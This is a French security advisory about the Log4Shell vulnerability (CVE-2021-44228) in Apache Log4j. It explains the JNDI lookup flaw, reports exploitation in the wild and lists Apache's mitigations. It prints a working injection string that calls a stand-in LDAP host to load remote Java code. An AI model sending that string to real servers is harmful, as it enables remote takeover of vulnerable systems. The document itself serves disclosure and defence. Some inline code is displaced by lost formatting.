[Mise à jour] Log4j zero-day « Log4Shell »

Log4shell cve decembre 2021 800x445

[Mise à jour] Log4j zero-day « Log4Shell » arrive juste à temps pour gâcher votre week-end

Publié: décembre 10, 2021 par Pieter Arntz
Dernière mise à jour: décembre 14, 2021
Article original en anglais

Si vous exécutez un service qui s’appuie sur Apache Struts ou utilise le populaire utilitaire Apache Log4j, nous espérons que vous n’avez pas fait de plans pour le week-end.

Un exploit répertorié comme CVE-2021-44228 a été rendu public le 9 décembre 2021. L’exploit est simple, facile à déclencher et peut être utilisé pour exécuter du code à distance (RCE) dans des systèmes vulnérables, ce qui pourrait permettre à un attaquant d’en prendre le contrôle total. Tout ce qu’un attaquant a à faire est d’obtenir que l’application affectée enregistre une chaîne spéciale. Pour cette raison, les chercheurs ont surnommé la vulnérabilité « Log4Shell ».

La vulnérabilité a un score CVSS de 10,0 sur 10 possibles. Cela a un impact sur Apache Log4j versions 2.0-beta9 à 2.14.1. Des mesures d’atténuation sont disponibles pour la version 2.10 et les versions ultérieures.

Log4j est une bibliothèque de journalisation open source écrite en Java qui a été développée par l’Apache Software Foundation. Des millions d’applications l’utilisent, et certaines d’entre elles sont extrêmement populaires, telles que iCloud, Steam et Minecraft, de sorte que la portée potentielle de ce problème est énorme.

 

Comment ça marche (simplifié)

Un enregistreur est un logiciel qui conserve une trace de ce qui se trouve sur une partie d’un système informatique. Les journaux peuvent être utilisés pour déterminer si le logiciel fonctionne correctement ou pour enquêter sur les événements menant à une erreur en cas de problème. D’une manière générale, les informaticiens et les responsables de la sécurité veulent se connecter autant qu’ils le peuvent.

Comme c’est le cas pour de nombreux enregistreurs, Log4j effectue également quelques opérations de base pour rendre la sortie plus facile à comprendre pour nous, simples humains. L’une de ces opérations est la substitution de variables, qui recherche des modèles tels que , et les remplace par d’autres éléments d’information.${something}

Cette vulnérabilité réside dans le remplacement de la chaîne Ce modèle déclenche l’interface de nommage et d’annuaire Java, qui peut charger des ressources Java à partir d’un autre ordinateur, n’importe où sur Internet.${jndi:

Malheureusement, de nombreuses applications enregistrent les données provenant de leurs utilisateurs sans les assainir au préalable, et il est possible pour les attaquants d’introduire des modèles de substitution variables dans les journaux en les incluant dans des éléments tels que les en-têtes HTTP ou les champs de saisie.

La vulnérabilité est déclenchée par une simple chaîne, envoyée à un serveur vulnérable :

${jndi:ldap://example.com/a}
Lorsque l’application vulnérable enregistre la chaîne, elle déclenche une recherche vers un serveur LDAP distant contrôlé par un attaquant (dans notre scénario). La réponse du serveur malveillant contient un chemin d’accès à un fichier de classe Java distant qui est injecté dans le processus serveur.example.com

Après avoir trompé l’application vulnérable en chargeant sa classe Java, les attaquants peuvent l’utiliser pour exécuter des commandes avec le même niveau de privilège que l’application qui utilise la bibliothèque de journalisation.

 

Utilisé dans la nature

Après la publication du 0-day sur Twitter,ainsi qu’une preuve de concept publiée sur GitHub, l’exploit a déjà été repéré en train d’être utilisé dans la nature par CERT New Zealand, CERT Austriaet CERT Germany. Comme beaucoup d’autres, ils voient des systèmes automatisés essayer d’exploiter la vulnérabilité.

Compte tenu de la fréquence de cette bibliothèque et de la gravité des conséquences d’une vulnérabilité relativement facile à exploiter, il s’agit d’une recette pour un désastre. De nombreuses organisations ne se rendront même pas compte qu’elles sont vulnérables.

Selon le chercheur Marcus Hutchins,dans le cas de Minecraft, les attaquants ont pu obtenir l’exécution de code à distance sur les serveurs Minecraft en collant simplement la chaîne malveillante dans la boîte de discussion. Des exemples similaires existent pour un certain nombre d’autres services populaires.

 

Prévention des exploits Log4j

Des mesures d’atténuation sont disponibles pour les versions de Log4j 2.10.0 et ultérieures. La version 2.15.0 n’est pas vulnérable par défaut. Notez qu’il peut y avoir d’autres dépendances, telles que votre version de Java, qui doivent être mises à jour avant de pouvoir effectuer la mise à niveau. La correction de la vulnérabilité n’est peut-être pas simple, mais elle est urgente.

Le projet Apache log4j conseille que si vous ne parvenez pas à mettre à niveau, pour quelque raison que ce soit, vous pouvez utiliser les mesures d’atténuation suivantes:

Dans la version 2.10.0 ou ultérieure, en basculant la propriété système ou la variable d’environnement sur . Cela peut être fait en ajoutant à la commande JVM pour démarrer l’application.log4j2.formatMsgNoLookupsLOG4J_FORMAT_MSG_NO_LOOKUPStrue‐Dlog4j2.formatMsgNoLookups=True
Pour la version 2.7 jusqu’à la version 2.14.1 incluse,tous les modèles peuvent être modifiés pour spécifier le convertisseur de messages au lieu de simplement .PatternLayout%m{nolookups}%m
Pour r2.0-beta9 jusqu’à la version 2.10.0 incluse,supprimez la classe du chemin de classe : .JndiLookupzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Malheureusement, les utilisateurs des systèmes affectés ne peuvent pas faire grand-chose, voire rien, pour se rendre moins vulnérables aux conséquences. Il ne fait aucun doute que de nombreux systèmes seront affectés et que les administrateurs système voudront traiter les anomalies avec une extrême prudence.

Donc, si vous êtes un administrateur qui attend avec impatience un week-end tranquille, vous savez quoi faire!

 

Mise à jour : 13 décembre, 5 h 00, PT — Analyse et exploitation généralisées

Après un examen attentif de cette vulnérabilité, les chercheurs ont constaté qu’elle avait été activement exploitée avant la divulgation publique, remontant jusqu’au 1er décembre. L’exploitation de masse a cependant commencé après la divulgation.

Jusqu’à présent, la majorité des attaques semblent provenir de botnets établis comme Mirai et d’autres, y compris certains botnets de cryptominage. Mais Microsoft a averti qu’il a vu les certaines attaques qui ont entraîné une baisse de Cobalt Strike. Cobalt Strike est une collection d’outils d’émulation de menaces fournis par HelpSystems pour fonctionner en conjonction avec le framework Metasploit. Mais les cybercriminels l’utilisent souvent comme une porte dérobée qui fournit un point d’ancrage idéal pour démarrer un mouvement latéral dans un réseau.

 

Mise à jour : 13 décembre, 7h00, PT — Craintes d’un ver Log4j

Alors que la communauté de la sécurité est aux prises avec la vaste échelle du problème Log4j, on craint de plus en plus qu’il ne soit « vermifuge » et qu’un ver Internet n’apparaisse dans les prochains jours. (Un ver est un logiciel malveillant qui infecte les systèmes vulnérables et les utilise ensuite pour trouver et infecter d’autres systèmes.)

Parce que leur taux de réplication est exponentiel, les vers peuvent se propager extrêmement rapidement. En 2003, le ver SQL Slammer s’est répandu dans le monde entier en une dizaine de minutes, et en 2017, le ver ransomware WannaCry s’est répandu dans le monde entier en quelques heures,avant que son kill switch ne soit activé.

 

Mise à jour : 14 décembre, 4 h 15, PT — Sortie de la version 2.16.0 de Log4j

Les mainteneurs infatigables (et ne l’oublions pas – non rémunérés, bénévoles) de Log4j ont publié la version 2.16.0, qui comprend deux changements. JDNI est désormais désactivé par défaut et la prise en charge des recherches de messages a été complètement supprimée.

Bien que cela semble un changement assez définitif, cela signifie une situation en évolution rapide. Les attaquants et les équipes rouges se déversent sur la surface d’attaque potentielle de Log4j et nous vous recommandons de rester à jour avec la dernière version et d’être prêt pour d’autres mises à jour.

Restez en sécurité, tout le monde!

  • 1 vote. Moyenne 5 sur 5.

Vous devez être connecté pour poster un commentaire